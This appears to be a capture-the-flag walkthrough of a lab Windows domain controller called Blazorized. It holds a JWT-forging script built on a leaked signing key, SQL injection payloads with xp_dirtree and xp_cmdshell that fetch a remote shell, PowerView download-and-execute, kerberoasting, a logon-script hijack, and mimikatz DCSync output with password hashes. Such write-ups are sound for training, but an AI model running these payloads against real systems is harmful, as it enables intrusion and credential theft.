Machine Card listing Blazorized as a hard Windows box

Reconnaissance

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://blazorized.htb
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-07 18:24:07Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1115.00; RC0+
| ms-sql-info:
|   10.129.166.82\BLAZORIZED:
|     Instance name: BLAZORIZED
|     Version:
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|     TCP port: 1433
|_    Clustered: false
|_ssl-date: 2024-07-07T18:25:04+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-07T18:17:37
|_Not valid after:  2054-07-07T18:17:37
| ms-sql-ntlm-info:
|   10.129.166.82\BLAZORIZED:
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49705/tcp open  msrpc         Microsoft Windows RPC
49776/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1115.00; RC0+
| ms-sql-info:
|   10.129.166.82:49776:
|     Version:
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 49776
|_ssl-date: 2024-07-07T18:25:04+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-07T18:17:37
|_Not valid after:  2054-07-07T18:17:37
| ms-sql-ntlm-info:
|   10.129.166.82:49776:
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
55561/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
 
Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-07-07T18:24:56
|_  start_date: N/A

Judging from the open ports (53,88, 389 and 445) I’m dealing with a Domain Controller. The nmap scan also found a domain name on port 80 blazorized.htb and the hostname on port 1433 dc1.blazorized.htb, so I add those to the /etc/hosts file before proceeding further.

HTTP

Browsing to http://blazorized.htb I’m greeted with some form of personal wiki and the footer proudly shows that the page is written in Blazor Web Assembly, a C# framework to build full stack web apps without writing a line of Javascript1.

Purple webpage showing an intro and a footer suggests the usage of Web Assembly

Apart from a Markdown Playground where I can test out markdown syntax and this might enable XSS, there is also a feature to check for updates. The note there explains that only administrators can use the API but I can impersonate the admin temporarily and securely by clicking the Check for Updates button. Pressing the button just shows a popup with Failed to Update Blazorized’s Content!. Checking the browser network tab I can see that it tries to access another subdomain api that I’ll add to my hosts file.

Firefox network tab showing failed requests to api.blazorized.htb because it can't be resolved

After clicking the button again serveral new categories and posts appear but the contents are not particularly interesting. Another thing caught my eye while looking through the network tab: the page is loading quite a lot of DLLs and since the Blazor framework is based on C# I might be able to check out the source code. With wget I download a few interesting onesand transfer them to my Windows VM to analyze them further with dnSpy.

Firefox network tab showing several calls to DLLs

I’ll focus on the ones with Blazorized in their name since the others are likely related to the framework itself. The file http://blazorized.htb/_framework/blazor.boot.json lists all resources and can be used to find DLLs even if they were not loaded yet.

wget --quiet "http://blazorized.htb/_framework/Blazorized.DigitalGarden.dll"
wget --quiet "http://blazorized.htb/_framework/Blazorized.Shared.dll"
wget --quiet "http://blazorized.htb/_framework/Blazorized.Helpers.dll"

Initial Access

After decompiling Blazorized.Helpers.dll I can find an interesting function regarding JWTs and how they are signed within the application. It exposes the signing key, the necessary claims and even the email adress superadmin@blazorized.htb. Also there’s another domain that I add to my local hosts file: admin.blazorized.htb.

using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Runtime.CompilerServices;
using System.Security.Claims;
using System.Text;
using Microsoft.IdentityModel.Tokens;
 
namespace Blazorized.Helpers
{
	// Token: 0x02000007 RID: 7
	[NullableContext(1)]
	[Nullable(0)]
	public static class JWT
	{
		// Token: 0x06000008 RID: 8 RVA: 0x00002164 File Offset: 0x00000364
		private static SigningCredentials GetSigningCredentials()
		{
			SigningCredentials result;
			try
			{
				result = new SigningCredentials(new SymmetricSecurityKey(Encoding.UTF8.GetBytes(JWT.jwtSymmetricSecurityKey)), "HS512");
			}
			catch (Exception)
			{
				throw;
			}
			return result;
		}
 
		// Token: 0x06000009 RID: 9 RVA: 0x000021A8 File Offset: 0x000003A8
		public static string GenerateTemporaryJWT(long expirationDurationInSeconds = 60L)
		{
			string result;
			try
			{
				List<Claim> list = new List<Claim>
				{
					new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
					new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.postsPermissionsClaimValue),
					new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.categoriesPermissionsClaimValue)
				};
				string text = JWT.issuer;
				string text2 = JWT.apiAudience;
				IEnumerable<Claim> enumerable = list;
				SigningCredentials signingCredentials = JWT.GetSigningCredentials();
				DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
				JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
				result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
			}
			catch (Exception)
			{
				throw;
			}
			return result;
		}
 
		// Token: 0x0600000A RID: 10 RVA: 0x00002258 File Offset: 0x00000458
		public static string GenerateSuperAdminJWT(long expirationDurationInSeconds = 60L)
		{
			string result;
			try
			{
				List<Claim> list = new List<Claim>
				{
					new Claim("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", JWT.superAdminEmailClaimValue),
					new Claim("http://schemas.microsoft.com/ws/2008/06/identity/claims/role", JWT.superAdminRoleClaimValue)
				};
				string text = JWT.issuer;
				string text2 = JWT.adminDashboardAudience;
				IEnumerable<Claim> enumerable = list;
				SigningCredentials signingCredentials = JWT.GetSigningCredentials();
				DateTime? dateTime = new DateTime?(DateTime.UtcNow.AddSeconds((double)expirationDurationInSeconds));
				JwtSecurityToken jwtSecurityToken = new JwtSecurityToken(text, text2, enumerable, null, dateTime, signingCredentials);
				result = new JwtSecurityTokenHandler().WriteToken(jwtSecurityToken);
			}
			catch (Exception)
			{
				throw;
			}
			return result;
		}
 
		// Token: 0x0600000B RID: 11 RVA: 0x000022F4 File Offset: 0x000004F4
		public static bool VerifyJWT(string jwt)
		{
			bool result = false;
			try
			{
				TokenValidationParameters tokenValidationParameters = new TokenValidationParameters
				{
					ValidateIssuerSigningKey = true,
					IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(JWT.jwtSymmetricSecurityKey)),
					ValidateIssuer = true,
					ValidIssuer = JWT.issuer,
					ValidateAudience = true,
					ValidAudiences = new string[]
					{
						JWT.apiAudience,
						JWT.adminDashboardAudience
					},
					ValidateLifetime = true,
					ClockSkew = TimeSpan.FromSeconds(10.0),
					ValidAlgorithms = new string[]
					{
						"HS512"
					}
				};
				try
				{
					SecurityToken securityToken;
					new JwtSecurityTokenHandler().ValidateToken(jwt, tokenValidationParameters, ref securityToken);
					result = true;
				}
				catch (Exception)
				{
				}
			}
			catch (Exception)
			{
			}
			return result;
		}
 
		// Token: 0x04000005 RID: 5
		private const long EXPIRATION_DURATION_IN_SECONDS = 60L;
 
		// Token: 0x04000006 RID: 6
		private static readonly string jwtSymmetricSecurityKey = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a";
 
		// Token: 0x04000007 RID: 7
		private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";
 
		// Token: 0x04000008 RID: 8
		private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
 
		// Token: 0x04000009 RID: 9
		private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
 
		// Token: 0x0400000A RID: 10
		private static readonly string superAdminRoleClaimValue = "Super_Admin";
 
		// Token: 0x0400000B RID: 11
		private static readonly string issuer = "http://api.blazorized.htb";
 
		// Token: 0x0400000C RID: 12
		private static readonly string apiAudience = "http://api.blazorized.htb";
 
		// Token: 0x0400000D RID: 13
		private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";
	}
}

Stealing the important bits and putting them into a Python script, I can forge new cookies for the admin panel.

generate.py
#!/usr/bin/env python3
# pip install pyjwt
import jwt
 
from datetime import datetime, timedelta, UTC
 
signing_key = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a"
 
payload = {
        'http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress': 'superadmin@blazorized.htb',
        'http://schemas.microsoft.com/ws/2008/06/identity/claims/role': 'Super_Admin',
        'iss': 'http://api.blazorized.htb',
        'aud': 'http://admin.blazorized.htb',
        'exp': datetime.now(UTC) + timedelta(seconds=3600)
        }
 
token = jwt.encode(payload, signing_key, algorithm='HS512')
print(token)

Going to admin.blazorized.htb shows a login prompt for the Super Admin. The previous seen source code does not really explain where to set the JWT. Based on the temporary token that gets also generated for the update functionality it may be set as a HTTP header (Authorization: Bearer JWT), but that does not work for the admin page.

Examining the Blazor traffic with the Blazor Traffic Processor in BurpSuite shows a reference to the localstorage. A key called jwt is queried, so this looks very promising.

After placing the generated JWT into the localstorage within the browser and refreshing the page, I’m logged in. The welcome message specifies that the admin panel talks to the database directly.

There are two interesting menu entries that check for duplicate posts and categories. They seem like the perfect target for a SQL injection, but there’s no feedback when supplying a single '. Next I’ll try to initiate a hit on my SMB server with xp_dirtree to see if I can capture some NTLMv2 hashes.

' or 1=1; EXEC MASTER.sys.xp_dirtree '\\10.10.10.10\share', 1, 1-- -

Running the above payload results in two hits in Responder but unfortunately none of the hashes crack with rockyou.txt.

sudo responder -I tun0 -A
--- SNIP ---
[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.
[SMB] NTLMv2-SSP Client   : 10.129.231.74
[SMB] NTLMv2-SSP Username : BLAZORIZED\DC1$
[SMB] NTLMv2-SSP Hash     : DC1$::BLAZORIZED:65725d3de851fe15:524A111A2632E650898B284496F5FDCF:0101000000000000004C0EED6C1EDB01DFD3879473FAED070000000002000800440035004100460001001E00570049004E002D00470054005500370048004D0053004B004B003300420004003400570049004E002D00470054005500370048004D0053004B004B00330042002E0044003500410046002E004C004F00430041004C000300140044003500410046002E004C004F00430041004C000500140044003500410046002E004C004F00430041004C0007000800004C0EED6C1EDB0106000400020000000800300030000000000000000000000000400000B3D3CE20C9D7B8B95EE9FD7AC2CE0F48CEFC7ED179B538A6E09E1ED0EC1367FC0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00390039000000000000000000
[SMB] NTLMv2-SSP Client   : 10.129.231.74
[SMB] NTLMv2-SSP Username : BLAZORIZED\NU_1055
[SMB] NTLMv2-SSP Hash     : NU_1055::BLAZORIZED:c2e53828353ac7c5:C4D1CA5B5F8E3CA7EB342244DDB041D3:0101000000000000004C0EED6C1EDB01F46F2B14E594C96D0000000002000800440035004100460001001E00570049004E002D00470054005500370048004D0053004B004B003300420004003400570049004E002D00470054005500370048004D0053004B004B00330042002E0044003500410046002E004C004F00430041004C000300140044003500410046002E004C004F00430041004C000500140044003500410046002E004C004F00430041004C0007000800004C0EED6C1EDB0106000400020000000800300030000000000000000000000000210000B3D3CE20C9D7B8B95EE9FD7AC2CE0F48CEFC7ED179B538A6E09E1ED0EC1367FC0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00390039000000000000000000

Since I’ve now established that SQLi is possible, I’ll go for xp_cmdshell and it seems like this is already enabled. Then I’ll use a base64 encoded payload to get a reverse shell as NU_1055 and access to the first flag.

' or 1=1; EXEC MASTER.sys.xp_cmdshell 'curl http://10.10.10.10/shell -useba'-- -

Privilege Escalation

Shell as RSA_4810

As soon as I have a foothold or a valid session in a domain, I run SharpHound and feed the results into BloodHound to identify a path forward.

BloodHound finds an edge between NU_1055 and RSA_4810, where I can set a Service Principal Name (SPN) and therefore open the account up for kerberoasting. This would allow me to retrieve a service ticket for offline cracking. The description of said edge comes with instructions on how to abuse it.

First I have to import PowerView and then set a SPN on RSA_4810. This lets me request a new service ticket with Get-DomainSPNTicket in a format that hashcat can crack.

iwr http://10.10.10.10/PowerView.ps1 -useba | iex
 
Set-DomainObject -Identity 'RSA_4810' -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
 
Get-DomainSPNTicket 'nonexistent/BLAHBLAH' -Format hashcat
 
 
SamAccountName       : UNKNOWN
DistinguishedName    : UNKNOWN
ServicePrincipalName : nonexistent/BLAHBLAH
TicketByteHexStream  : 
Hash                 : $krb5tgs$23$*UNKNOWN$UNKNOWN$nonexistent/BLAHBLAH*$A50FDC1C3DC1E8D02A6EC99A33C7DE69$04306E23747B
                       C8B8A6325263D517B61BDBC3EF424A48F853A83C14294701C023809BC4E0DEFB42FD3DF8CB6AC2A17957745EEF497332
                       A1DA6979D15C2F7D5F3FB99996A6CFB75B498A407898E945B7E7B660470F4AC3AAF9CA0DCCA6D18C7C0F3AE05A7832BF
                       B22A03775A858AF707F6BF2B2CB3701660C9CB6558108E5397C08BF49D2B0DCE65D732F61966208385E60BB08D826875
                       9914BE07402DA46332400CADCCDD284F41EB9B09B5B289AFBF872B1155C846985C574BE8AA4C725FCB6D09E7BB716A51
                       AFE95E83357B2DC073750541709B11289BA724ED82B4212BD2513B1CB0C5EFDE861E20347C18F9833AEB003B93215DF3
                       E95FA819A725306BD3D4E7D8465BBA92743EFC48B7F581D4B93737F01CC0988D78E0A0AED9E75CDE0D3DC10571F30FD8
                       CA166C71B128E4FED751B4CD3170B4E8EC6EE8C7606AB74D4355C5A6A7A85761F66B59917DBD1AEDB5A36EFF3F555B1A
                       6F6DEBFD4DE61814C07982AEF57A988086992FCBAFD6E95D4EFA0040E50DE50D968058DFCBA07A32C376E2C7843BE9A7
                       1791DA4D4148BE6CBCAD5ADE34ECB9A3402DA2B0687B508BFF2C68A14FF7EFA7253E1586F7F15E23E0F7B1D5B4B512C5
                       409492214B7D1CDC5AA87852E38CD8C4548BB3EB2321362BC2FC6436D77E41F538BB5C8E2417D42E33EFED94C068A230
                       95838C6F20A58C4BD1EA77C2B9399A6573A4C0E4F2FE1BC77FF1AD5826F4B0318D6D02C7F84886107166459F182FF15A
                       8840E452E49DE8FB41D068C939C400F15EE90AE979A5EA3865E29E7573DDEC124DD218C0775DEA8496436E3131C1C436
                       D1AF6FFBC8960E110319652523B2C8A4831DD2A0326A6492B01BC05AA7866A40C2FC6247E2510308011E89275A6083FA
                       7A2089F0D9023B3247948A0B0FD9EC2649ED22513A7712FB83CD7D8635CD4F2C8966ADB62009BD5BEE309CE4EC759E70
                       C7F5E39E6E884636A4FB2BB55072C2346A97ED2F55BA735E705F5F757AF8BAC78E1B12C8D9EF7A55B2DAA5EB58EB3E3D
                       277C1047BF9E4D18B0D2E89EA975ADF68A8EEFD375166AA1DAF2FE94F58E113167EF4F738FB4374A6813F4F3B841C1B1
                       A45968D00921C950D76983ECB2A40692121FD67FE046AABCECA80C5EC6A43867FF696EB5AEBFFA453B347D8AA4408822
                       CFF3C1F12DE15641230562817A3DB744CF9DE576CF28FFB9708D1780B839DF8C5902CF63DCF706E6DA4DD5DFB1B6DCDB
                       91F846CF2DD645FDFFC90EAABD6B502FA5D54902B527698DA71161D102D43D52D83C5CDF6FBFEA2B0E53ED55F57C0A2F
                       EE7ED44E3922F8FAC3E874F3E9E26785ED095B793A72F3B92BF1E7BA46CDF361E04588B43A8AEEDC03DE5ADEDBA232AD
                       A6D8A3F84FD614C86B6CF83803C00F840D21DF3B9A23A1557D5FE93EB062E917D29627059004A2453A0E28660FE7DCBD
                       F967BD73F13959C7115A34D12C2917A5FA3B38804C40F0FB68B8463F3BAB972A77888FCFE0663192AE2E1A3660DED138
                       FEB97BA791D213B4C657094BD5D3123A580B8C83DAA1C36F25BD5BD0DE274C12E66364CD0EE137558F2ADA7605522E58
                       309F2679656B02DDC7CE8DEF845818F2519A6BCC59F770802DF8114683B7980109D1FE219D203C4CA9E2D88F92E44030
                       C0BA39DBE534A92EC3673B471B7251A78F130352E6180620140FBA38545FDD19908AD0D26A39EE51A53EB01042B67303
                       E64BC613E0527D28DED259CFBB538D6F5DAACE3F79D0DBCBACE492AE6033AF0E34B71F757118B27938C9C46C09811009
                       37FA
 

Removing the whitespaces and newlines from the hash, lets me feed it into hashcat and with the help of rockyou.txt the password (Ni7856Do9854Ki05Ng0005 #). From BloodHound I know that the account is allowed to use PSRemote and can login with evil-winrm.

Shell as SSA_6010

RSA_4810 is just part of the Remote Support Administrator group, but apparently the Super Support Administrator group is the place to be since their members have DCSync privileges. That groups consists out of 4 members and if I can somehow overtake one of those, I can own the whole domain.

Now I know what would be a good target, I’ll check if I have any privileges over those accounts. One by one, I request the ACLs on those objects and look for the SID of my current user. As before I import PowerView to use Get-DomainObjectACL and find out that I am able to modify the ScriptPath of SSA_6010.

iwr http://10.10.10.10/PowerView.ps1 -useba | iex
 
$sid = (Get-DomainUser RSA_4810).objectsid
 
Get-DomainObjectACL SSA_6010 -ResolveGUIDs | ?{$_.SecurityIdentifier -eq $sid}
 
AceQualifier           : AccessAllowed
ObjectDN               : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
ActiveDirectoryRights  : WriteProperty
ObjectAceType          : Script-Path
ObjectSID              : S-1-5-21-2039403211-964143010-2924010611-1124
InheritanceFlags       : None
BinaryLength           : 56
AceType                : AccessAllowedObject
ObjectAceFlags         : ObjectAceTypePresent
IsCallback             : False
PropagationFlags       : None
SecurityIdentifier     : S-1-5-21-2039403211-964143010-2924010611-1107
AccessMask             : 32
AuditFlags             : None
IsInherited            : False
AceFlags               : None
InheritedObjectAceType : All
OpaqueLength           : 0
 
AceType               : AccessAllowed
ObjectDN              : CN=SSA_6010,CN=Users,DC=blazorized,DC=htb
ActiveDirectoryRights : ReadProperty, GenericExecute
OpaqueLength          : 0
ObjectSID             : S-1-5-21-2039403211-964143010-2924010611-1124
InheritanceFlags      : None
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-2039403211-964143010-2924010611-1107
AccessMask            : 131092
AuditFlags            : None
AceFlags              : None
AceQualifier          : AccessAllowed

The ScriptPath defines the path to a script that runs when the user logs on the computer. A common place to store those kind of scripts is the NETLOGON share on the Domain Controller and there I check if I can write there.

icacls \\dc1\netlogon\* 
\\dc1\netlogon\11DBDAEB100D BUILTIN\Administrators:(I)(F)
                            CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                            NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
                            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                            BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                            BUILTIN\Server Operators:(I)(OI)(CI)(RX)
 
\\dc1\netlogon\A2BFDCF13BB2 BUILTIN\Administrators:(I)(F)
                            CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                            NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
                            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                            BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                            BUILTIN\Server Operators:(I)(OI)(CI)(RX)
 
\\dc1\netlogon\A32FF3AEAA23 BLAZORIZED\RSA_4810:(OI)(CI)(F)
                            BLAZORIZED\Administrator:(OI)(CI)(F)
                            BUILTIN\Administrators:(I)(F)
                            CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                            NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
                            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                            BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                            BUILTIN\Server Operators:(I)(OI)(CI)(RX)
 
\\dc1\netlogon\CADFDDCE0BAD BUILTIN\Administrators:(I)(F)
                            CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                            NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
                            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                            BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                            BUILTIN\Server Operators:(I)(OI)(CI)(RX)
 
\\dc1\netlogon\CAFE30DAABCB BUILTIN\Administrators:(I)(F)
                            CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                            NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(RX)
                            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                            BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                            BUILTIN\Server Operators:(I)(OI)(CI)(RX)
 
Successfully processed 5 files; Failed processing 0 files

Looks like I can write to \\dc1\netlogon\A32FF3AEAA23 and in there I place a bat file with a powershell base64 encoded payload from revshells.

smbclient //blazorized.htb/NETLOGON -U rsa_4810%'(Ni7856Do9854Ki05Ng0005 #)' \
                                    --directory A32FF3AEAA23 \
                                    -c "put shell.bat"

Next I set the ScriptPath attribute on SSA_6010 to the script I’ve just created. It’s important to not use the full path but only the portion after netlogon\2.

Set-DomainObject SSA_6010 -Set @{'scriptPath'='A32FF3AEAA23\shell.bat'}

Few minutes pass and there’s a callback as SSA_6010. I follow up with uploading mimikatz and dump the credentials for the Administrator user.

.\mimikatz.exe "lsadump::dcsync /user:Administrator" "exit"
 
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/
 
mimikatz(commandline) # lsadump::dcsync /user:Administrator
[DC] 'blazorized.htb' will be the domain
[DC] 'DC1.blazorized.htb' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
 
Object RDN           : Administrator
 
** SAM ACCOUNT **
 
SAM Username         : Administrator
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/25/2024 12:54:43 PM
Object Security ID   : S-1-5-21-2039403211-964143010-2924010611-500
Object Relative ID   : 500
 
Credentials:
  Hash NTLM: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 0: f55ed1465179ba374ec1cad05b34a5f3
    ntlm- 1: eecc741ecf81836dcd6128f5c93313f2
    ntlm- 2: c543bf260df887c25dd5fbacff7dcfb3
    ntlm- 3: c6e7b0a59bf74718bce79c23708a24ff
    ntlm- 4: fe57c7727f7c2549dd886159dff0d88a
    ntlm- 5: b471c416c10615448c82a2cbb731efcb
    ntlm- 6: b471c416c10615448c82a2cbb731efcb
    ntlm- 7: aec132eaeee536a173e40572e8aad961
    ntlm- 8: f83afb01d9b44ab9842d9c70d8d2440a
    ntlm- 9: bdaffbfe64f1fc646a3353be1c2c3c99
    lm  - 0: ad37753b9f78b6b98ec3bb65e5995c73
    lm  - 1: c449777ea9b0cd7e6b96dd8c780c98f0
    lm  - 2: ebbe34c80ab8762fa51e04bc1cd0e426
    lm  - 3: 471ac07583666ccff8700529021e4c9f
    lm  - 4: ab4d5d93532cf6ad37a3f0247db1162f
    lm  - 5: ece3bdafb6211176312c1db3d723ede8
    lm  - 6: 1ccc6a1cd3c3e26da901a8946e79a3a5
    lm  - 7: 8b3c1950099a9d59693858c00f43edaf
    lm  - 8: a14ac624559928405ef99077ecb497ba
 
--- SNIP ---

With the NTLM hash I can get a shell on the Domain Controller and collect the final flag. Also this means I can dump the passwords of the whole domain with secretsdump.

Attack Path

flowchart TD

subgraph "Initial Access"
    A(Blazor Website) -->|Decompile DLLs| B(Signing Key for JWT)
    B --> C(Access to Admin Area)
end

subgraph "Execution"
    C -->|SQL Injection + xp_cmdshell| D(Shell as NU_1055)
end

subgraph "Privilege Escalation"
    D -->|WriteSPN + Kerberoasting| E(Hash for RSA_4810)
    E -->|Bruteforce| F(Shell as RSA_4810)
    F -->|Set ScriptPath| G(Shell as SSA_6010)
    G -->|DCSync| H(Hash for Administrator)
end

Footnotes

  1. Blazor

  2. How to assign a logon script to a user’s profile